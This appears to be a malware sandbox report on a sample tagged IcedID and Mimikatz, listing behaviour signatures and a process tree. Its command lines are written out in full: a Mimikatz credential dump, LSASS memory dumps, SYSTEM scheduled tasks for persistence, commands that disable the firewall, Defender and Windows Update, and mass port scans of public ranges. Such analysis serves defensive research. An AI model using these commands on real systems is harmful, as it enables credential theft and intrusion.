Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/08/2024, 07:38

General

  • Target

    2024-08-01_8b47948633dfe721d7af12900a3a4818_hacktools_icedid_mimikatz.exe

  • Size

    7.9MB

  • MD5

    8b47948633dfe721d7af12900a3a4818

  • SHA1

    33a923f613c48ed8f37b4e3ab6f5d8bf8e6b5932

  • SHA256

    d0b26c85e7e96f42a6e6f78821f5bc5b2eb99e705c5a3ec3da4212d6263fe7cf

  • SHA512

    d01bfbb4f46898017a4bbb74e1f98b3096ef056c40d7fa4ffe8a67a60755aa0b51ef297e6e68511ec794dece9be739ac0ac74a5999bedc4fc8bee74a16d4793b

  • SSDEEP

    98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (29264) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 12 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 6 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 26 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 34 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 39 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:2064
      • C:\Windows\TEMP\urvbclbes\emltfa.exe
        "C:\Windows\TEMP\urvbclbes\emltfa.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1452
    • C:\Users\Admin\AppData\Local\Temp\2024-08-01_8b47948633dfe721d7af12900a3a4818_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-08-01_8b47948633dfe721d7af12900a3a4818_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3876
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\kskgieue\nvletra.exe
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:3912
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3064
        • C:\Windows\kskgieue\nvletra.exe
          C:\Windows\kskgieue\nvletra.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:112
    • C:\Windows\kskgieue\nvletra.exe
      C:\Windows\kskgieue\nvletra.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3280
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4564
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1556
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:5056
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
            3⤵
              PID:2912
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2968
            • C:\Windows\SysWOW64\cacls.exe
              cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1436
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static del all
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3988
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add policy name=Bastards description=FuckingBastards
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:1984
          • C:\Windows\SysWOW64\netsh.exe
            netsh ipsec static add filteraction name=BastardsList action=block
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:820
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\ebtejzvzm\kbneakacn\wpcap.exe /S
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2424
            • C:\Windows\ebtejzvzm\kbneakacn\wpcap.exe
              C:\Windows\ebtejzvzm\kbneakacn\wpcap.exe /S
              3⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in System32 directory
              • Drops file in Program Files directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3284
              • C:\Windows\SysWOW64\net.exe
                net stop "Boundary Meter"
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3096
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "Boundary Meter"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:1548
              • C:\Windows\SysWOW64\net.exe
                net stop "TrueSight Meter"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1180
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "TrueSight Meter"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:1040
              • C:\Windows\SysWOW64\net.exe
                net stop npf
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1620
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:4308
              • C:\Windows\SysWOW64\net.exe
                net start npf
                4⤵
                  PID:1940
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:3792
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
                PID:1528
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  3⤵
                    PID:5068
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 start npf
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:812
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net start npf
                  2⤵
                    PID:4516
                    • C:\Windows\SysWOW64\net.exe
                      net start npf
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4324
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 start npf
                        4⤵
                          PID:2884
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c C:\Windows\ebtejzvzm\kbneakacn\tszlbgulu.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\ebtejzvzm\kbneakacn\Scant.txt
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:1848
                      • C:\Windows\ebtejzvzm\kbneakacn\tszlbgulu.exe
                        C:\Windows\ebtejzvzm\kbneakacn\tszlbgulu.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\ebtejzvzm\kbneakacn\Scant.txt
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2952
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c C:\Windows\ebtejzvzm\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ebtejzvzm\Corporate\log.txt
                      2⤵
                      • Drops file in Windows directory
                      • System Location Discovery: System Language Discovery
                      PID:628
                      • C:\Windows\ebtejzvzm\Corporate\vfshost.exe
                        C:\Windows\ebtejzvzm\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1996
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "aakrtlenb" /ru system /tr "cmd /c C:\Windows\ime\nvletra.exe"
                      2⤵
                        PID:4400
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                          3⤵
                            PID:5032
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /sc minute /mo 1 /tn "aakrtlenb" /ru system /tr "cmd /c C:\Windows\ime\nvletra.exe"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:3164
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vrgikseaa" /ru system /tr "cmd /c echo Y|cacls C:\Windows\kskgieue\nvletra.exe /p everyone:F"
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:4444
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:5108
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /sc minute /mo 1 /tn "vrgikseaa" /ru system /tr "cmd /c echo Y|cacls C:\Windows\kskgieue\nvletra.exe /p everyone:F"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:1812
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tvrslacrb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\urvbclbes\emltfa.exe /p everyone:F"
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:3664
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:3640
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /sc minute /mo 1 /tn "tvrslacrb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\urvbclbes\emltfa.exe /p everyone:F"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:5044
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:3912
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:1668
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:4740
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static set policy name=Bastards assign=y
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:2072
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:4188
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:976
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:2500
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static set policy name=Bastards assign=y
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:4832
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:1648
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:3612
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:1440
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static set policy name=Bastards assign=y
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:4196
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop SharedAccess
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:676
                          • C:\Windows\SysWOW64\net.exe
                            net stop SharedAccess
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:2164
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop SharedAccess
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:2200
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c netsh firewall set opmode mode=disable
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:3068
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh firewall set opmode mode=disable
                            3⤵
                            • Modifies Windows Firewall
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            PID:4528
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c netsh Advfirewall set allprofiles state off
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:904
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh Advfirewall set allprofiles state off
                            3⤵
                            • Modifies Windows Firewall
                            • Event Triggered Execution: Netsh Helper DLL
                            PID:2552
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop MpsSvc
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:4312
                          • C:\Windows\SysWOW64\net.exe
                            net stop MpsSvc
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:2400
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop MpsSvc
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:420
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop WinDefend
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:2676
                          • C:\Windows\SysWOW64\net.exe
                            net stop WinDefend
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:640
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop WinDefend
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:5032
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop wuauserv
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:4284
                          • C:\Windows\SysWOW64\net.exe
                            net stop wuauserv
                            3⤵
                              PID:4988
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop wuauserv
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:536
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config MpsSvc start= disabled
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:3160
                            • C:\Windows\SysWOW64\sc.exe
                              sc config MpsSvc start= disabled
                              3⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:2968
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config SharedAccess start= disabled
                            2⤵
                              PID:1536
                              • C:\Windows\SysWOW64\sc.exe
                                sc config SharedAccess start= disabled
                                3⤵
                                • Launches sc.exe
                                • System Location Discovery: System Language Discovery
                                PID:3280
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config WinDefend start= disabled
                              2⤵
                                PID:540
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config WinDefend start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  PID:2604
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config wuauserv start= disabled
                                2⤵
                                  PID:4788
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config wuauserv start= disabled
                                    3⤵
                                    • Launches sc.exe
                                    PID:3664
                                • C:\Windows\TEMP\xohudmc.exe
                                  C:\Windows\TEMP\xohudmc.exe
                                  2⤵
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:1980
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 796 C:\Windows\TEMP\ebtejzvzm\796.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3648
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 392 C:\Windows\TEMP\ebtejzvzm\392.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1180
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 2064 C:\Windows\TEMP\ebtejzvzm\2064.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3524
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 2668 C:\Windows\TEMP\ebtejzvzm\2668.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:920
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 2788 C:\Windows\TEMP\ebtejzvzm\2788.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4876
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 3048 C:\Windows\TEMP\ebtejzvzm\3048.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4428
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 3056 C:\Windows\TEMP\ebtejzvzm\3056.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:880
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 3760 C:\Windows\TEMP\ebtejzvzm\3760.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1240
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 3852 C:\Windows\TEMP\ebtejzvzm\3852.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4284
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 3920 C:\Windows\TEMP\ebtejzvzm\3920.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1808
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 4004 C:\Windows\TEMP\ebtejzvzm\4004.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2400
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 4000 C:\Windows\TEMP\ebtejzvzm\4000.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1784
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 2036 C:\Windows\TEMP\ebtejzvzm\2036.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1728
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 3940 C:\Windows\TEMP\ebtejzvzm\3940.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4588
                                • C:\Windows\TEMP\ebtejzvzm\nslbapege.exe
                                  C:\Windows\TEMP\ebtejzvzm\nslbapege.exe -accepteula -mp 2272 C:\Windows\TEMP\ebtejzvzm\2272.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4076
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c C:\Windows\ebtejzvzm\kbneakacn\scan.bat
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3740
                                  • C:\Windows\ebtejzvzm\kbneakacn\aiezyneia.exe
                                    aiezyneia.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
                                    3⤵
                                    • Executes dropped EXE
                                    • Drops file in Windows directory
                                    • System Location Discovery: System Language Discovery
                                    PID:4264
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3904
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:6128
                                  • C:\Windows\SysWOW64\cacls.exe
                                    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                    3⤵
                                      PID:2952
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4204
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:420
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:3420
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2288
                                • C:\Windows\SysWOW64\fknvgk.exe
                                  C:\Windows\SysWOW64\fknvgk.exe
                                  1⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:472
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                  1⤵
                                    PID:3636
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                    1⤵
                                      PID:3500
                                    • C:\Windows\system32\cmd.EXE
                                      C:\Windows\system32\cmd.EXE /c C:\Windows\ime\nvletra.exe
                                      1⤵
                                        PID:4680
                                        • C:\Windows\ime\nvletra.exe
                                          C:\Windows\ime\nvletra.exe
                                          2⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1300
                                      • C:\Windows\system32\cmd.EXE
                                        C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\urvbclbes\emltfa.exe /p everyone:F
                                        1⤵
                                          PID:1800
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                            2⤵
                                              PID:388
                                            • C:\Windows\system32\cacls.exe
                                              cacls C:\Windows\TEMP\urvbclbes\emltfa.exe /p everyone:F
                                              2⤵
                                                PID:3932
                                            • C:\Windows\system32\cmd.EXE
                                              C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\kskgieue\nvletra.exe /p everyone:F
                                              1⤵
                                                PID:2456
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                  2⤵
                                                    PID:1464
                                                  • C:\Windows\system32\cacls.exe
                                                    cacls C:\Windows\kskgieue\nvletra.exe /p everyone:F
                                                    2⤵
                                                      PID:4824
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                    1⤵
                                                      PID:5860
                                                    • C:\Windows\system32\cmd.EXE
                                                      C:\Windows\system32\cmd.EXE /c C:\Windows\ime\nvletra.exe
